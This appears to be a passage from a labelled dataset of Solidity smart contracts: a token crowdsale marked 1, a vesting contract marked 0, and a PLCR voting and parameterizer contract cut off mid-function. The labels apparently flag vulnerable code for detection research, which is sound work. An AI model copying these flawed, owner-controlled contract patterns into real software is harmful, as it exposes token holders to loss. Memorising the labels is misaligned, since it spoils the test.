source_codes
stringlengths 72
160k
| labels
int64 0
1
| __index_level_0__
int64 0
4.4k
|
|---|---|---|
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = true;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract CryptoTradeCoin is PausableToken, MintableToken {
string public constant name = "CryptoTradeCoin";
string public constant symbol = "CTC";
uint8 public constant decimals = 18;
}
contract CryptoTradeCrowdsale is Ownable {
using SafeMath for uint;
address public multisigWallet;
address public founderTokenWallet;
address public bountyTokenWallet;
uint public founderPercent;
uint public bountyPercent;
uint public startRound;
uint public periodRound;
uint public capitalization;
uint public altCapitalization;
uint public totalCapitalization;
uint public price;
uint public discountTime;
bool public isDiscountValue;
uint public targetDiscountValue1;
uint public targetDiscountValue2;
uint public targetDiscountValue3;
uint public targetDiscountValue4;
uint public targetDiscountValue5;
uint public targetDiscountValue6;
uint public targetDiscountValue7;
uint public targetDiscountValue8;
uint public targetDiscountValue9;
uint public targetDiscountValue10;
CryptoTradeCoin public token = new CryptoTradeCoin ();
function CryptoTradeCrowdsale () public {
multisigWallet = 0xdee04DfdC6C93D51468ba5cd90457Ac0B88055FD;
founderTokenWallet = 0x874297a0eDaB173CFdDeD1e890842A5564191D36;
bountyTokenWallet = 0x77C99A76B3dF279a73396fE9ae0A072B428b63Fe;
founderPercent = 10;
bountyPercent = 5;
startRound = 1509584400;
periodRound = 90;
capitalization = 3300 ether;
altCapitalization = 0;
totalCapitalization = 200000 ether;
price = 1000000000000000000000000;
discountTime = 50;
isDiscountValue = false;
targetDiscountValue1 = 2 ether;
targetDiscountValue2 = 4 ether;
targetDiscountValue3 = 8 ether;
targetDiscountValue4 = 16 ether;
targetDiscountValue5 = 32 ether;
targetDiscountValue6 = 64 ether;
targetDiscountValue7 = 128 ether;
targetDiscountValue8 = 256 ether;
targetDiscountValue9 = 512 ether;
targetDiscountValue10= 1024 ether;
}
modifier CrowdsaleIsOn() {
require(now >= startRound && now <= startRound + periodRound * 1 days);
_;
}
modifier TotalCapitalization() {
require(multisigWallet.balance + altCapitalization <= totalCapitalization);
_;
}
modifier RoundCapitalization() {
require(multisigWallet.balance + altCapitalization <= capitalization);
_;
}
function setMultisigWallet (address newMultisigWallet) public onlyOwner {
require(newMultisigWallet != 0X0);
multisigWallet = newMultisigWallet;
}
function setFounderTokenWallet (address newFounderTokenWallet) public onlyOwner {
require(newFounderTokenWallet != 0X0);
founderTokenWallet = newFounderTokenWallet;
}
function setBountyTokenWallet (address newBountyTokenWallet) public onlyOwner {
require(newBountyTokenWallet != 0X0);
bountyTokenWallet = newBountyTokenWallet;
}
function setFounderPercent (uint newFounderPercent) public onlyOwner {
founderPercent = newFounderPercent;
}
function setBountyPercent (uint newBountyPercent) public onlyOwner {
bountyPercent = newBountyPercent;
}
function setStartRound (uint newStartRound) public onlyOwner {
startRound = newStartRound;
}
function setPeriodRound (uint newPeriodRound) public onlyOwner {
periodRound = newPeriodRound;
}
function setCapitalization (uint newCapitalization) public onlyOwner {
capitalization = newCapitalization;
}
function setAltCapitalization (uint newAltCapitalization) public onlyOwner {
altCapitalization = newAltCapitalization;
}
function setTotalCapitalization (uint newTotalCapitalization) public onlyOwner {
totalCapitalization = newTotalCapitalization;
}
function setPrice (uint newPrice) public onlyOwner {
price = newPrice;
}
function setDiscountTime (uint newDiscountTime) public onlyOwner {
discountTime = newDiscountTime;
}
function setDiscountValueOn () public onlyOwner {
require(!isDiscountValue);
isDiscountValue = true;
}
function setDiscountValueOff () public onlyOwner {
require(isDiscountValue);
isDiscountValue = false;
}
function setTargetDiscountValue1 (uint newTargetDiscountValue1) public onlyOwner {
require(newTargetDiscountValue1 > 0);
targetDiscountValue1 = newTargetDiscountValue1;
}
function setTargetDiscountValue2 (uint newTargetDiscountValue2) public onlyOwner {
require(newTargetDiscountValue2 > 0);
targetDiscountValue2 = newTargetDiscountValue2;
}
function setTargetDiscountValue3 (uint newTargetDiscountValue3) public onlyOwner {
require(newTargetDiscountValue3 > 0);
targetDiscountValue3 = newTargetDiscountValue3;
}
function setTargetDiscountValue4 (uint newTargetDiscountValue4) public onlyOwner {
require(newTargetDiscountValue4 > 0);
targetDiscountValue4 = newTargetDiscountValue4;
}
function setTargetDiscountValue5 (uint newTargetDiscountValue5) public onlyOwner {
require(newTargetDiscountValue5 > 0);
targetDiscountValue5 = newTargetDiscountValue5;
}
function setTargetDiscountValue6 (uint newTargetDiscountValue6) public onlyOwner {
require(newTargetDiscountValue6 > 0);
targetDiscountValue6 = newTargetDiscountValue6;
}
function setTargetDiscountValue7 (uint newTargetDiscountValue7) public onlyOwner {
require(newTargetDiscountValue7 > 0);
targetDiscountValue7 = newTargetDiscountValue7;
}
function setTargetDiscountValue8 (uint newTargetDiscountValue8) public onlyOwner {
require(newTargetDiscountValue8 > 0);
targetDiscountValue8 = newTargetDiscountValue8;
}
function setTargetDiscountValue9 (uint newTargetDiscountValue9) public onlyOwner {
require(newTargetDiscountValue9 > 0);
targetDiscountValue9 = newTargetDiscountValue9;
}
function setTargetDiscountValue10 (uint newTargetDiscountValue10) public onlyOwner {
require(newTargetDiscountValue10 > 0);
targetDiscountValue10 = newTargetDiscountValue10;
}
function () external payable {
createTokens (msg.sender, msg.value);
}
function createTokens (address recipient, uint etherDonat) internal CrowdsaleIsOn RoundCapitalization TotalCapitalization {
require(etherDonat > 0);
require(recipient != 0X0);
require(price > 0);
multisigWallet.transfer(etherDonat);
uint discountValue = discountValueSolution (etherDonat);
uint bonusDiscountValue = (etherDonat.mul(price).div(1 ether)).mul(discountValue).div(100);
uint bonusDiscountTime = (etherDonat.mul(price).div(1 ether)).mul(discountTime).div(100);
uint tokens = (etherDonat.mul(price).div(1 ether)).add(bonusDiscountTime).add(bonusDiscountValue);
token.mint(recipient, tokens);
}
function customCreateTokens(address recipient, uint etherDonat) public CrowdsaleIsOn RoundCapitalization TotalCapitalization onlyOwner {
require(etherDonat > 0);
require(recipient != 0X0);
require(price > 0);
uint discountValue = discountValueSolution (etherDonat);
uint bonusDiscountValue = (etherDonat.mul(price).div(1 ether)).mul(discountValue).div(100);
uint bonusDiscountTime = (etherDonat.mul(price).div(1 ether)).mul(discountTime).div(100);
uint tokens = (etherDonat.mul(price).div(1 ether)).add(bonusDiscountTime).add(bonusDiscountValue);
token.mint(recipient, tokens);
altCapitalization += etherDonat;
}
function retrieveTokens (address addressToken, address wallet) public onlyOwner {
ERC20 alientToken = ERC20 (addressToken);
alientToken.transfer(wallet, alientToken.balanceOf(this));
}
function finishMinting () public onlyOwner {
uint issuedTokenSupply = token.totalSupply();
uint tokensFounders = issuedTokenSupply.mul(founderPercent).div(100);
uint tokensBounty = issuedTokenSupply.mul(bountyPercent).div(100);
token.mint(founderTokenWallet, tokensFounders);
token.mint(bountyTokenWallet, tokensBounty);
token.finishMinting();
}
function setOwnerToken (address newOwnerToken) public onlyOwner {
require(newOwnerToken != 0X0);
token.transferOwnership(newOwnerToken);
}
function coefficientSolution (uint _donat) internal constant returns (uint) {
require(isDiscountValue);
uint _discountValue;
if (_donat < targetDiscountValue1) {
return _discountValue = 0;
} else if (_donat >= targetDiscountValue1 && _donat < targetDiscountValue2) {
return _discountValue = 2;
} else if (_donat >= targetDiscountValue2 && _donat < targetDiscountValue3) {
return _discountValue = 4;
} else if (_donat >= targetDiscountValue3 && _donat < targetDiscountValue4) {
return _discountValue = 6;
} else if (_donat >= targetDiscountValue4 && _donat < targetDiscountValue5) {
return _discountValue = 8;
} else if (_donat >= targetDiscountValue5 && _donat < targetDiscountValue6) {
return _discountValue = 10;
} else if (_donat >= targetDiscountValue6 && _donat < targetDiscountValue7) {
return _discountValue = 12;
} else if (_donat >= targetDiscountValue7 && _donat < targetDiscountValue8) {
return _discountValue = 14;
} else if (_donat >= targetDiscountValue8 && _donat < targetDiscountValue9) {
return _discountValue = 16;
} else if (_donat >= targetDiscountValue9 && _donat < targetDiscountValue10){
return _discountValue = 18;
} else {
return _discountValue = 20;
}
}
function discountValueSolution (uint Donat) internal constant returns (uint) {
uint DiscountValue;
if (!isDiscountValue) {
DiscountValue = 0;
return DiscountValue;
} else {
DiscountValue = coefficientSolution (Donat);
return DiscountValue;
}
}
} | 1 | 3,302 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
address public ico;
bool public initialized;
bool public active;
ERC20Basic public token;
mapping (address => TokenGrant[]) public grants;
uint256 public circulatingSupply = 0;
struct TokenGrant {
uint256 value;
uint256 claimed;
uint256 vesting;
uint256 start;
}
event NewTokenGrant (
address indexed to,
uint256 value,
uint256 start,
uint256 vesting
);
event NewTokenClaim (
address indexed holder,
uint256 value
);
modifier icoResticted() {
require(msg.sender == ico);
_;
}
modifier isActive() {
require(active);
_;
}
function TokenVesting() public {
active = false;
}
function init(address _token, address _ico) public onlyOwner {
token = ERC20Basic(_token);
ico = _ico;
initialized = true;
active = true;
}
function stop() public isActive onlyOwner {
active = false;
}
function resume() public onlyOwner {
require(!active);
require(initialized);
active = true;
}
function grantVestedTokens(
address _to,
uint256 _value,
uint256 _start,
uint256 _vesting
) public icoResticted isActive {
require(_value > 0);
require(_vesting > _start);
require(grants[_to].length < 10);
TokenGrant memory grant = TokenGrant(_value, 0, _vesting, _start);
grants[_to].push(grant);
NewTokenGrant(_to, _value, _start, _vesting);
}
function claimTokens() public {
claim(msg.sender);
}
function claimTokensFor(address _to) public onlyOwner {
claim(_to);
}
function claimableTokens() public constant returns (uint256) {
address _to = msg.sender;
uint256 numberOfGrants = grants[_to].length;
if (numberOfGrants == 0) {
return 0;
}
uint256 claimable = 0;
uint256 claimableFor = 0;
for (uint256 i = 0; i < numberOfGrants; i++) {
claimableFor = calculateVestedTokens(
grants[_to][i].value,
grants[_to][i].vesting,
grants[_to][i].start,
grants[_to][i].claimed
);
claimable = claimable.add(claimableFor);
}
return claimable;
}
function totalVestedTokens() public constant returns (uint256) {
address _to = msg.sender;
uint256 numberOfGrants = grants[_to].length;
if (numberOfGrants == 0) {
return 0;
}
uint256 claimable = 0;
for (uint256 i = 0; i < numberOfGrants; i++) {
claimable = claimable.add(
grants[_to][i].value.sub(grants[_to][i].claimed)
);
}
return claimable;
}
function calculateVestedTokens(
uint256 _tokens,
uint256 _vesting,
uint256 _start,
uint256 _claimed
) internal constant returns (uint256) {
uint256 time = block.timestamp;
if (time < _start) {
return 0;
}
if (time >= _vesting) {
return _tokens.sub(_claimed);
}
uint256 vestedTokens = _tokens.mul(time.sub(_start)).div(
_vesting.sub(_start)
);
return vestedTokens.sub(_claimed);
}
function claim(address _to) internal {
uint256 numberOfGrants = grants[_to].length;
if (numberOfGrants == 0) {
return;
}
uint256 claimable = 0;
uint256 claimableFor = 0;
for (uint256 i = 0; i < numberOfGrants; i++) {
claimableFor = calculateVestedTokens(
grants[_to][i].value,
grants[_to][i].vesting,
grants[_to][i].start,
grants[_to][i].claimed
);
claimable = claimable.add(claimableFor);
grants[_to][i].claimed = grants[_to][i].claimed.add(claimableFor);
}
token.transfer(_to, claimable);
circulatingSupply += claimable;
NewTokenClaim(_to, claimable);
}
} | 0 | 2,038 |
pragma solidity^0.4.11;
library AttributeStore {
struct Data {
mapping(bytes32 => uint) store;
}
function getAttribute(Data storage self, bytes32 _UUID, string _attrName)
public view returns (uint) {
bytes32 key = keccak256(_UUID, _attrName);
return self.store[key];
}
function setAttribute(Data storage self, bytes32 _UUID, string _attrName, uint _attrVal)
public {
bytes32 key = keccak256(_UUID, _attrName);
self.store[key] = _attrVal;
}
}
library DLL {
uint constant NULL_NODE_ID = 0;
struct Node {
uint next;
uint prev;
}
struct Data {
mapping(uint => Node) dll;
}
function isEmpty(Data storage self) public view returns (bool) {
return getStart(self) == NULL_NODE_ID;
}
function contains(Data storage self, uint _curr) public view returns (bool) {
if (isEmpty(self) || _curr == NULL_NODE_ID) {
return false;
}
bool isSingleNode = (getStart(self) == _curr) && (getEnd(self) == _curr);
bool isNullNode = (getNext(self, _curr) == NULL_NODE_ID) && (getPrev(self, _curr) == NULL_NODE_ID);
return isSingleNode || !isNullNode;
}
function getNext(Data storage self, uint _curr) public view returns (uint) {
return self.dll[_curr].next;
}
function getPrev(Data storage self, uint _curr) public view returns (uint) {
return self.dll[_curr].prev;
}
function getStart(Data storage self) public view returns (uint) {
return getNext(self, NULL_NODE_ID);
}
function getEnd(Data storage self) public view returns (uint) {
return getPrev(self, NULL_NODE_ID);
}
function insert(Data storage self, uint _prev, uint _curr, uint _next) public {
require(_curr != NULL_NODE_ID);
remove(self, _curr);
require(_prev == NULL_NODE_ID || contains(self, _prev));
require(_next == NULL_NODE_ID || contains(self, _next));
require(getNext(self, _prev) == _next);
require(getPrev(self, _next) == _prev);
self.dll[_curr].prev = _prev;
self.dll[_curr].next = _next;
self.dll[_prev].next = _curr;
self.dll[_next].prev = _curr;
}
function remove(Data storage self, uint _curr) public {
if (!contains(self, _curr)) {
return;
}
uint next = getNext(self, _curr);
uint prev = getPrev(self, _curr);
self.dll[next].prev = prev;
self.dll[prev].next = next;
delete self.dll[_curr];
}
}
contract EIP20Interface {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract PLCRVoting {
event _VoteCommitted(uint indexed pollID, uint numTokens, address indexed voter);
event _VoteRevealed(uint indexed pollID, uint numTokens, uint votesFor, uint votesAgainst, uint indexed choice, address indexed voter, uint salt);
event _PollCreated(uint voteQuorum, uint commitEndDate, uint revealEndDate, uint indexed pollID, address indexed creator);
event _VotingRightsGranted(uint numTokens, address indexed voter);
event _VotingRightsWithdrawn(uint numTokens, address indexed voter);
event _TokensRescued(uint indexed pollID, address indexed voter);
using AttributeStore for AttributeStore.Data;
using DLL for DLL.Data;
using SafeMath for uint;
struct Poll {
uint commitEndDate;
uint revealEndDate;
uint voteQuorum;
uint votesFor;
uint votesAgainst;
mapping(address => bool) didCommit;
mapping(address => bool) didReveal;
mapping(address => uint) voteOptions;
}
uint constant public INITIAL_POLL_NONCE = 0;
uint public pollNonce;
mapping(uint => Poll) public pollMap;
mapping(address => uint) public voteTokenBalance;
mapping(address => DLL.Data) dllMap;
AttributeStore.Data store;
EIP20Interface public token;
function init(address _token) public {
require(_token != address(0) && address(token) == address(0));
token = EIP20Interface(_token);
pollNonce = INITIAL_POLL_NONCE;
}
function requestVotingRights(uint _numTokens) public {
require(token.balanceOf(msg.sender) >= _numTokens);
voteTokenBalance[msg.sender] += _numTokens;
require(token.transferFrom(msg.sender, this, _numTokens));
emit _VotingRightsGranted(_numTokens, msg.sender);
}
function withdrawVotingRights(uint _numTokens) external {
uint availableTokens = voteTokenBalance[msg.sender].sub(getLockedTokens(msg.sender));
require(availableTokens >= _numTokens);
voteTokenBalance[msg.sender] -= _numTokens;
require(token.transfer(msg.sender, _numTokens));
emit _VotingRightsWithdrawn(_numTokens, msg.sender);
}
function rescueTokens(uint _pollID) public {
require(isExpired(pollMap[_pollID].revealEndDate));
require(dllMap[msg.sender].contains(_pollID));
dllMap[msg.sender].remove(_pollID);
emit _TokensRescued(_pollID, msg.sender);
}
function rescueTokensInMultiplePolls(uint[] _pollIDs) public {
for (uint i = 0; i < _pollIDs.length; i++) {
rescueTokens(_pollIDs[i]);
}
}
function commitVote(uint _pollID, bytes32 _secretHash, uint _numTokens, uint _prevPollID) public {
require(commitPeriodActive(_pollID));
if (voteTokenBalance[msg.sender] < _numTokens) {
uint remainder = _numTokens.sub(voteTokenBalance[msg.sender]);
requestVotingRights(remainder);
}
require(voteTokenBalance[msg.sender] >= _numTokens);
require(_pollID != 0);
require(_secretHash != 0);
require(_prevPollID == 0 || dllMap[msg.sender].contains(_prevPollID));
uint nextPollID = dllMap[msg.sender].getNext(_prevPollID);
if (nextPollID == _pollID) {
nextPollID = dllMap[msg.sender].getNext(_pollID);
}
require(validPosition(_prevPollID, nextPollID, msg.sender, _numTokens));
dllMap[msg.sender].insert(_prevPollID, _pollID, nextPollID);
bytes32 UUID = attrUUID(msg.sender, _pollID);
store.setAttribute(UUID, "numTokens", _numTokens);
store.setAttribute(UUID, "commitHash", uint(_secretHash));
pollMap[_pollID].didCommit[msg.sender] = true;
emit _VoteCommitted(_pollID, _numTokens, msg.sender);
}
function commitVotes(uint[] _pollIDs, bytes32[] _secretHashes, uint[] _numsTokens, uint[] _prevPollIDs) external {
require(_pollIDs.length == _secretHashes.length);
require(_pollIDs.length == _numsTokens.length);
require(_pollIDs.length == _prevPollIDs.length);
for (uint i = 0; i < _pollIDs.length; i++) {
commitVote(_pollIDs[i], _secretHashes[i], _numsTokens[i], _prevPollIDs[i]);
}
}
function validPosition(uint _prevID, uint _nextID, address _voter, uint _numTokens) public constant returns (bool valid) {
bool prevValid = (_numTokens >= getNumTokens(_voter, _prevID));
bool nextValid = (_numTokens <= getNumTokens(_voter, _nextID) || _nextID == 0);
return prevValid && nextValid;
}
function revealVote(uint _pollID, uint _voteOption, uint _salt) public {
require(revealPeriodActive(_pollID));
require(pollMap[_pollID].didCommit[msg.sender]);
require(!pollMap[_pollID].didReveal[msg.sender]);
require(keccak256(abi.encodePacked(_voteOption, _salt)) == getCommitHash(msg.sender, _pollID));
uint numTokens = getNumTokens(msg.sender, _pollID);
if (_voteOption == 1) {
pollMap[_pollID].votesFor += numTokens;
} else {
pollMap[_pollID].votesAgainst += numTokens;
}
dllMap[msg.sender].remove(_pollID);
pollMap[_pollID].didReveal[msg.sender] = true;
pollMap[_pollID].voteOptions[msg.sender] = _voteOption;
emit _VoteRevealed(_pollID, numTokens, pollMap[_pollID].votesFor, pollMap[_pollID].votesAgainst, _voteOption, msg.sender, _salt);
}
function revealVotes(uint[] _pollIDs, uint[] _voteOptions, uint[] _salts) external {
require(_pollIDs.length == _voteOptions.length);
require(_pollIDs.length == _salts.length);
for (uint i = 0; i < _pollIDs.length; i++) {
revealVote(_pollIDs[i], _voteOptions[i], _salts[i]);
}
}
function getNumPassingTokens(address _voter, uint _pollID) public constant returns (uint correctVotes) {
require(pollEnded(_pollID));
require(pollMap[_pollID].didReveal[_voter]);
uint winningChoice = isPassed(_pollID) ? 1 : 0;
uint voterVoteOption = pollMap[_pollID].voteOptions[_voter];
require(voterVoteOption == winningChoice, "Voter revealed, but not in the majority");
return getNumTokens(_voter, _pollID);
}
function startPoll(uint _voteQuorum, uint _commitDuration, uint _revealDuration) public returns (uint pollID) {
pollNonce = pollNonce + 1;
uint commitEndDate = block.timestamp.add(_commitDuration);
uint revealEndDate = commitEndDate.add(_revealDuration);
pollMap[pollNonce] = Poll({
voteQuorum: _voteQuorum,
commitEndDate: commitEndDate,
revealEndDate: revealEndDate,
votesFor: 0,
votesAgainst: 0
});
emit _PollCreated(_voteQuorum, commitEndDate, revealEndDate, pollNonce, msg.sender);
return pollNonce;
}
function isPassed(uint _pollID) constant public returns (bool passed) {
require(pollEnded(_pollID));
Poll memory poll = pollMap[_pollID];
return (100 * poll.votesFor) > (poll.voteQuorum * (poll.votesFor + poll.votesAgainst));
}
function getTotalNumberOfTokensForWinningOption(uint _pollID) constant public returns (uint numTokens) {
require(pollEnded(_pollID));
if (isPassed(_pollID))
return pollMap[_pollID].votesFor;
else
return pollMap[_pollID].votesAgainst;
}
function pollEnded(uint _pollID) constant public returns (bool ended) {
require(pollExists(_pollID));
return isExpired(pollMap[_pollID].revealEndDate);
}
function commitPeriodActive(uint _pollID) constant public returns (bool active) {
require(pollExists(_pollID));
return !isExpired(pollMap[_pollID].commitEndDate);
}
function revealPeriodActive(uint _pollID) constant public returns (bool active) {
require(pollExists(_pollID));
return !isExpired(pollMap[_pollID].revealEndDate) && !commitPeriodActive(_pollID);
}
function didCommit(address _voter, uint _pollID) constant public returns (bool committed) {
require(pollExists(_pollID));
return pollMap[_pollID].didCommit[_voter];
}
function didReveal(address _voter, uint _pollID) constant public returns (bool revealed) {
require(pollExists(_pollID));
return pollMap[_pollID].didReveal[_voter];
}
function pollExists(uint _pollID) constant public returns (bool exists) {
return (_pollID != 0 && _pollID <= pollNonce);
}
function getCommitHash(address _voter, uint _pollID) constant public returns (bytes32 commitHash) {
return bytes32(store.getAttribute(attrUUID(_voter, _pollID), "commitHash"));
}
function getNumTokens(address _voter, uint _pollID) constant public returns (uint numTokens) {
return store.getAttribute(attrUUID(_voter, _pollID), "numTokens");
}
function getLastNode(address _voter) constant public returns (uint pollID) {
return dllMap[_voter].getPrev(0);
}
function getLockedTokens(address _voter) constant public returns (uint numTokens) {
return getNumTokens(_voter, getLastNode(_voter));
}
function getInsertPointForNumTokens(address _voter, uint _numTokens, uint _pollID)
constant public returns (uint prevNode) {
uint nodeID = getLastNode(_voter);
uint tokensInNode = getNumTokens(_voter, nodeID);
while(nodeID != 0) {
tokensInNode = getNumTokens(_voter, nodeID);
if(tokensInNode <= _numTokens) {
if(nodeID == _pollID) {
nodeID = dllMap[_voter].getPrev(nodeID);
}
return nodeID;
}
nodeID = dllMap[_voter].getPrev(nodeID);
}
return nodeID;
}
function isExpired(uint _terminationDate) constant public returns (bool expired) {
return (block.timestamp > _terminationDate);
}
function attrUUID(address _user, uint _pollID) public pure returns (bytes32 UUID) {
return keccak256(abi.encodePacked(_user, _pollID));
}
}
contract Parameterizer {
event _ReparameterizationProposal(string name, uint value, bytes32 propID, uint deposit, uint appEndDate, address indexed proposer);
event _NewChallenge(bytes32 indexed propID, uint challengeID, uint commitEndDate, uint revealEndDate, address indexed challenger);
event _ProposalAccepted(bytes32 indexed propID, string name, uint value);
event _ProposalExpired(bytes32 indexed propID);
event _ChallengeSucceeded(bytes32 indexed propID, uint indexed challengeID, uint rewardPool, uint totalTokens);
event _ChallengeFailed(bytes32 indexed propID, uint indexed challengeID, uint rewardPool, uint totalTokens);
event _RewardClaimed(uint indexed challengeID, uint reward, address indexed voter);
using SafeMath for uint;
struct ParamProposal {
uint appExpiry;
uint challengeID;
uint deposit;
string name;
address owner;
uint processBy;
uint value;
}
struct Challenge {
uint rewardPool;
address challenger;
bool resolved;
uint stake;
uint winningTokens;
mapping(address => bool) tokenClaims;
}
mapping(bytes32 => uint) public params;
mapping(uint => Challenge) public challenges;
mapping(bytes32 => ParamProposal) public proposals;
EIP20Interface public token;
PLCRVoting public voting;
uint public PROCESSBY = 604800;
function init(
address _token,
address _plcr,
uint[] _parameters
) public {
require(_token != 0 && address(token) == 0);
require(_plcr != 0 && address(voting) == 0);
token = EIP20Interface(_token);
voting = PLCRVoting(_plcr);
set("minDeposit", _parameters[0]);
set("pMinDeposit", _parameters[1]);
set("applyStageLen", _parameters[2]);
set("pApplyStageLen", _parameters[3]);
set("commitStageLen", _parameters[4]);
set("pCommitStageLen", _parameters[5]);
set("revealStageLen", _parameters[6]);
set("pRevealStageLen", _parameters[7]);
set("dispensationPct", _parameters[8]);
set("pDispensationPct", _parameters[9]);
set("voteQuorum", _parameters[10]);
set("pVoteQuorum", _parameters[11]);
set("exitTimeDelay", _parameters[12]);
set("exitPeriodLen", _parameters[13]);
}
function proposeReparameterization(string _name, uint _value) public returns (bytes32) {
uint deposit = get("pMinDeposit");
bytes32 propID = keccak256(abi.encodePacked(_name, _value));
if (keccak256(abi.encodePacked(_name)) == keccak256(abi.encodePacked("dispensationPct")) ||
keccak256(abi.encodePacked(_name)) == keccak256(abi.encodePacked("pDispensationPct"))) {
require(_value <= 100);
}
require(!propExists(propID));
require(get(_name) != _value);
proposals[propID] = ParamProposal({
appExpiry: now.add(get("pApplyStageLen")),
challengeID: 0,
deposit: deposit,
name: _name,
owner: msg.sender,
processBy: now.add(get("pApplyStageLen"))
.add(get("pCommitStageLen"))
.add(get("pRevealStageLen"))
.add(PROCESSBY),
value: _value
});
require(token.transferFrom(msg.sender, this, deposit));
emit _ReparameterizationProposal(_name, _value, propID, deposit, proposals[propID].appExpiry, msg.sender);
return propID;
}
function challengeReparameterization(bytes32 _propID) public returns (uint challengeID) {
ParamProposal memory prop = proposals[_propID];
uint deposit = prop.deposit;
require(propExists(_propID) && prop.challengeID == 0);
uint pollID = voting.startPoll(
get("pVoteQuorum"),
get("pCommitStageLen"),
